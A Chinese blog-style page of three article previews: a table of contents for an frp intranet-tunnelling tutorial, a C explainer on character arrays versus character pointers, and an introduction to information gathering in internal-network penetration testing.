    文章目录 一 frp是什么 二 使用步骤 1 需要两台服务器 2 下载frp 和go语言 基于 1 通过自定义域名访问内网的 Web 服务 启动 windows下安装frpc ini 2 配置token才能访问 3 配置udp 4 通过 S
  • 字符数组与字符指针的区别

    字符数组与字符指针的区别 在 C 语言中 可以用两种方法表示和存放字符串 1 用字符数组存放一个字符串 char str IloveChina 2 用字符指针指向一个字符串 char str IloveChina 那么这两种表示方式有什么区
  • 内网渗透之信息收集

    一 内网信息收集概述 渗透测试人员进人内网后 面对的是一片 黑暗森林 所以 渗透测试人员首先需要对当前所处的网络环境进行判断 判断涉及如下三个方面 我是谁 一对 当前机器角色的判断 这是哪 一对 当前机器所处网络环境的拓扑结构进行分析和判断